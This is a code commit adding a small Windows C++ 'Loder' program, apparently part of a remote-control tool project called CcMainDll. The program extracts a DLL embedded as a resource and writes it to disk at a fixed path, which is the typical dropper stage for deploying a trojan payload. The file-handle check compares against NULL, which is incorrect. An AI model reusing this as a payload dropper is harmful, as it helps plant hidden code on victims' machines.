添加loder工程，释放资源dll

CcMainDll/Loder/Loder.cpp

@@ -0,0 +1,75 @@
+// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
+//
+
+#include <iostream>
+#include <Windows.h>
+#include "resource.h"
+
+
+bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
+{
+	DWORD dwWritten;
+
+	HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
+	if (hFile != NULL)
+	{
+		WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
+	}
+	else
+	{
+		return false;
+	}
+	CloseHandle(hFile);
+	return true;
+}
+//要释放的路径   资源ID            资源名
+bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
+{
+	HRSRC hResInfo;
+	HGLOBAL hResData;
+	DWORD dwSize;
+	LPBYTE p;
+	// 查找所需的资源
+	hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
+	if (hResInfo == NULL)
+	{
+		//MessageBox(NULL, "查找资源失败！", "错误", MB_OK | MB_ICONINFORMATION);
+		return false;
+	}
+	// 获得资源尺寸
+	dwSize = SizeofResource(NULL, hResInfo);
+	// 装载资源
+	hResData = LoadResource(NULL, hResInfo);
+	if (hResData == NULL)
+	{
+		//MessageBox(NULL, "装载资源失败！", "错误", MB_OK | MB_ICONINFORMATION);
+		return false;
+	}
+	// 为数据分配空间
+	p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
+	if (p == NULL)
+	{
+		//MessageBox(NULL, "分配内存失败！", "错误", MB_OK | MB_ICONINFORMATION);
+		return false;
+	}
+	// 复制资源数据
+	CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
+
+	bool bRet = CreateMyFile(strFilePath, p, dwSize);
+	if (!bRet)
+	{
+		GlobalFree((HGLOBAL)p);
+		return false;
+	}
+
+	GlobalFree((HGLOBAL)p);
+
+	return true;
+}
+
+
+
+int main()
+{
+	CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
+}